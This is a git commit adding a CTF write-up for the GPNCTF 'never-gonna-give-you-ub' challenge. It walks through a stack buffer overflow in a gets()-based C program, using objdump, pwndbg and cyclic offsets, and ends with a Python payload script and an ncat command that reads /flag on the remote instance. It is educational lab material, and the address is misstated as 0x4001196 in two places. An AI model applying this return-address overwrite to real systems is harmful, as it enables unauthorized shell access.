diff options
author | Timber | 2024-06-04 19:47:52 +0200 |
---|---|---|
committer | Timber | 2024-06-04 19:47:52 +0200 |
commit | b83e5d4450c0c777c0bd6bd143c31886b2e03b79 (patch) | |
tree | 0a4c8f86a0e9fd88a57636a58be75b514dcda058 | |
parent | eb0eb59caa8fb520c40e2dc7af063ec7f77340ac (diff) |
never-gonna-give-you-ub writeup
-rw-r--r-- | never-gonna-give-you-ub.md | 276 |
1 files changed, 276 insertions, 0 deletions
diff --git a/never-gonna-give-you-ub.md b/never-gonna-give-you-ub.md new file mode 100644 index 0000000..71e29d8 --- /dev/null +++ b/never-gonna-give-you-ub.md @@ -0,0 +1,276 @@ +# Never-gonna-give-you-ub Writeup from L.A.R.S. + +## Setup + +The local docker setup isn't really helpful, so we're gonna skip that. +What *is* helpful however is `gdb`, `gcc` and `pwntools` (together with `pwndbg`): +```bash +sudo apt update +# gdb and gcc +sudo apt install gdb gcc +# pwntools +sudo apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential +python3 -m pip install --upgrade pip +python3 -m pip install --upgrade pwntools +# pwndbg +git clone https://github.com/pwndbg/pwndbg +cd pwndbg +./setup.sh +cd .. +``` + +For the remote we use the suggested command: +```bash +ncat --ssl never-gonna-give-you-ub.ctf.kitctf.de 443 +``` +After entering the team token this gives us an instance for 4 minutes -- challenge accepted! + + +## Looking around + +### Dockerfile + +From the `Dockerfile` we learn that the flag lies in `/flag` and that we can merely interact with the program being run via `run.sh`. +This program is built with `gcc` and compiled without PIE (*Position-independent executables*, meaning that the address space layout is not going to randomized), with no stack protector and optimization level set to 0. +So that should make our lifes easier. + +### run.sh + +From `run.sh` we learn that the program `song_rate` is run with the input, output and error streams modified to be unbuffered. + +### song_rater.c + +```C +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + +void scratched_record() { + printf("Oh no, your record seems scratched :(\n"); + printf("Here's a shell, maybe you can fix it:\n"); + execve("/bin/sh", NULL, NULL); +} + +extern char *gets(char *s); + +int main() { + printf("Song rater v0.1\n-------------------\n\n"); + char buf[0xff]; + printf("Please enter your song:\n"); + gets(buf); + printf("\"%s\" is an excellent choice!\n", buf); + return 0; +} +``` +From `song_rater.c` (so the C program to the relevant executable) we learn that we have a buffer of size `0xff` (that is 255) bytes which we can overflow as much as we want via `gets`. +Also there's a method before called `scratched_record` that isn't called but executes `/bin/sh`. +So that seems to be the goal of our overflow. + + +## Exploiting + +### Quo vadimus? + +Firstly we need to figure out the address of where we want to jump to. +Therefore it makes sense to disassemble the binary; for that we can use `objdump`, which should already be installed: +```bash +objdump -drwC -Mintel song_rater +``` + +The relevant sections are: +```asm +0000000000401196 <scratched_record>: + 401196: f3 0f 1e fa endbr64 + 40119a: 55 push rbp + 40119b: 48 89 e5 mov rbp,rsp + 40119e: 48 8d 05 63 0e 00 00 lea rax,[rip+0xe63] # 402008 <_IO_stdin_used+0x8> + 4011a5: 48 89 c7 mov rdi,rax + 4011a8: e8 c3 fe ff ff call 401070 <puts@plt> + 4011ad: 48 8d 05 7c 0e 00 00 lea rax,[rip+0xe7c] # 402030 <_IO_stdin_used+0x30> + 4011b4: 48 89 c7 mov rdi,rax + 4011b7: e8 b4 fe ff ff call 401070 <puts@plt> + 4011bc: ba 00 00 00 00 mov edx,0x0 + 4011c1: be 00 00 00 00 mov esi,0x0 + 4011c6: 48 8d 05 89 0e 00 00 lea rax,[rip+0xe89] # 402056 <_IO_stdin_used+0x56> + 4011cd: 48 89 c7 mov rdi,rax + 4011d0: e8 bb fe ff ff call 401090 <execve@plt> + 4011d5: 90 nop + 4011d6: 5d pop rbp + 4011d7: c3 ret + +00000000004011d8 <main>: + 4011d8: f3 0f 1e fa endbr64 + 4011dc: 55 push rbp + 4011dd: 48 89 e5 mov rbp,rsp + 4011e0: 48 81 ec 00 01 00 00 sub rsp,0x100 + 4011e7: 48 8d 05 72 0e 00 00 lea rax,[rip+0xe72] # 402060 <_IO_stdin_used+0x60> + 4011ee: 48 89 c7 mov rdi,rax + 4011f1: e8 7a fe ff ff call 401070 <puts@plt> + 4011f6: 48 8d 05 88 0e 00 00 lea rax,[rip+0xe88] # 402085 <_IO_stdin_used+0x85> + 4011fd: 48 89 c7 mov rdi,rax + 401200: e8 6b fe ff ff call 401070 <puts@plt> + 401205: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100] + 40120c: 48 89 c7 mov rdi,rax + 40120f: e8 8c fe ff ff call 4010a0 <gets@plt> + 401214: 48 8d 85 00 ff ff ff lea rax,[rbp-0x100] + 40121b: 48 89 c6 mov rsi,rax + 40121e: 48 8d 05 78 0e 00 00 lea rax,[rip+0xe78] # 40209d <_IO_stdin_used+0x9d> + 401225: 48 89 c7 mov rdi,rax + 401228: b8 00 00 00 00 mov eax,0x0 + 40122d: e8 4e fe ff ff call 401080 <printf@plt> + 401232: b8 00 00 00 00 mov eax,0x0 + 401237: c9 leave + 401238: c3 ret +``` + +From that we can see that our destination address could be `0x4001196`. + +We can validate this in `pwndbg`. Therefore we start `gdb`: +```bash +gdb song_rater +``` +... and `start` the program. +It should break at the first instruction, where we can jump to our destination (i.e. set the *program counter*) with `set $pc=0x401196` and continue execution with `c`. +And indeed, we enter a shell! We can't do much there though, since it exits after the first instruction. That should be enough anyway. + +### To return is to jump + +So now we only need to convince the program to jump to this address. +For this we can use a buffer overflow. To understand this, let's take a look at the stack: +```asm +pwndbg> stack 40 +00:0000│ rsp 0x7fffffffdcb0 ◂— 0x600000001 +01:0008│-0f8 0x7fffffffdcb8 ◂— 0 +02:0010│-0f0 0x7fffffffdcc0 —▸ 0x7fffffffdd88 ◂— 0 +03:0018│-0e8 0x7fffffffdcc8 ◂— 0xc000 +04:0020│-0e0 0x7fffffffdcd0 ◂— 0x140000 +05:0028│-0d8 0x7fffffffdcd8 ◂— 0x40 /* '@' */ +06:0030│-0d0 0x7fffffffdce0 ◂— 0x40 /* '@' */ +07:0038│-0c8 0x7fffffffdce8 —▸ 0x7ffff7fe09c9 (init_cpu_features.constprop+1161) ◂— mov eax, dword ptr [rip + 0x1c16d] +08:0040│-0c0 0x7fffffffdcf0 ◂— 0 +09:0048│-0b8 0x7fffffffdcf8 —▸ 0x7fffffffdd80 ◂— 0 +0a:0050│-0b0 0x7fffffffdd00 ◂— 2 +0b:0058│-0a8 0x7fffffffdd08 ◂— 0x8000000000000006 +0c:0060│-0a0 0x7fffffffdd10 ◂— 0 +... ↓ 5 skipped +12:0090│-070 0x7fffffffdd40 ◂— 0xc000 +13:0098│-068 0x7fffffffdd48 ◂— 0x8000 +14:00a0│-060 0x7fffffffdd50 ◂— 0 +... ↓ 8 skipped +1d:00e8│-018 0x7fffffffdd98 —▸ 0x7ffff7fe6e90 (dl_main) ◂— push rbp +1e:00f0│-010 0x7fffffffdda0 ◂— 0 +1f:00f8│-008 0x7fffffffdda8 —▸ 0x7ffff7ffdad0 (_rtld_global+2736) —▸ 0x7ffff7fcb000 ◂— 0x3010102464c457f +20:0100│ rbp 0x7fffffffddb0 ◂— 1 +21:0108│+008 0x7fffffffddb8 —▸ 0x7ffff7df424a (__libc_start_call_main+122) ◂— mov edi, eax +22:0110│+010 0x7fffffffddc0 —▸ 0x7fffffffdeb0 —▸ 0x7fffffffdeb8 ◂— 0x38 /* '8' */ +23:0118│+018 0x7fffffffddc8 —▸ 0x4011d8 (main) ◂— endbr64 +24:0120│+020 0x7fffffffddd0 ◂— 0x100400040 /* '@' */ +25:0128│+028 0x7fffffffddd8 —▸ 0x7fffffffdec8 —▸ 0x7fffffffe1f5 ◂— '<path-to-song_rater>' +26:0130│+030 0x7fffffffdde0 —▸ 0x7fffffffdec8 —▸ 0x7fffffffe1f5 ◂— '<path-to-song_rater>' +27:0138│+038 0x7fffffffdde8 ◂— 0x97175ac94f14abd6 +``` + +Ok, that's a lot. However, from `context backtrace` we know that the return address of the current method is `0x7ffff7df424a` which is at `__libc_start_call_main+122`. +If we look closely in aboves stack, we find this address on the stack at position `0x7fffffffddb8` (the stack pointer, `rsp`, currently points to `0x7fffffffdcb0`). +That's because the return address is always `push`ed on the stack before the function is called, and later `pop`ed again from the stack to determine where to jump back to. + +So, what does this help us? Well, the `buf` variable is also gonna be on the stack. +And since we have no limitation of how much we can write into `buf`, we can overflow it and keep writing nonsense into the stack until we reach the return address. +There we can write the destination address (`0x4001196`). As soon as the program reaches the `return` statement (i.e. `ret` in assembly) it's going to jump return to `__libc_start_call_main+122`, but rather jump to `scratched_record`. + +So much for the theory. But how do we achieve this in practice? + +### Cyclic overflows + +It's quite tedious to figure out how much exactly we have to overflow until we reach the return address. To make our lives easier, `pwndbg` offers us the `cyclic` function. +`cyclic` prints a requested number of characters that we can then use as input. +The special thing about those characters is that `cyclic` can also identify which set of characters was later used as return address. +This is because each 64bit part of the cyclic characters is unique and thus linkable to the cyclic input. + +So we can simply create a cyclic pattern that is certainly longer than what we need and look where the program jumps to. +Since we already know that the buffer is of size 255, we can give it a try with 1000 characters: +```bash +pwndbg> cyclic 1000 +aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaae +``` + +So, we start in `gdb` with `run` and enter our very specific song name. +This will end in a segfault, but in `gdb` we can see in the backtrace (`context backtrace`) where we currently are (`0x401238`, the `ret` statemt) and where we would jump back to afterwards (`0x6261616161616169`): +``` + ► 0 0x401238 main+96 + 1 0x6261616161616169 + 2 0x626161616161616a + 3 0x626161616161616b + 4 0x626161616161616c + 5 0x626161616161616d + 6 0x626161616161616e + 7 0x626161616161616f +``` + +So the relevant return address is 0x6261616161616169. We can then figure out the offset: +```bash +pwndbg> cyclic -l 0x6261616161616169 +Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162) +Found at offset 264 +``` + +So the 264th entry in the `buf` array of size 255 is the return address. + + +### Scripting + +That is, the 264th entry is the first byte of the return address, then comes the second byte and so on. +Knowing that we need to jump to `0x401196` we can then craft our exploit input with a python script: +```python +dest = 0x401196 +# -1 because the 264th element is the start already +offset = 264-1 +for i in range(offset): + print(".", end="") +for i in range(8): + this = dest & 0xFF + dest >>= 8 + print(chr(this), end="") +``` + +We can pipe the output of this script into a file: +```bash +python exploit.py > input +``` + +Let's pass it as input: +```bash +./song_rater < input +Song rater v0.1 +------------------- + +Please enter your song: +".......................................................................................................................................................................................................................................................................@" is an excellent choice! +Oh no, your record seems scratched :( +Here's a shell, maybe you can fix it: +``` + +However, right afterwards the program terminates and we can't interact with the shell. + +That's where the modifications from `run.sh` come in handy: Apparently the disabled buffer makes it possible to execute commands that are directly piped into the program. +So we can add a newline to our `input` and execute shell commands there: +```bash +.......................................................................................................................................................................................................................................................................@ +cat /flag +``` + +(Note that the `@` at the end is just a failed attempt to properly display the characters that make up the return address.) + +If we execute this (and if the file `/flag` exists and is readable) this does indeed output the local flag. So let's run this on the remote: +```bash +ncat --ssl <our-url>.ctf.kitctf.de 443 < input +Song rater v0.1 +------------------- + +Please enter your song: +".......................................................................................................................................................................................................................................................................@" is an excellent choice! +Oh no, your record seems scratched :( +Here's a shell, maybe you can fix it: +GPNCTF{<the-flag>} +``` +**We got the flag!** |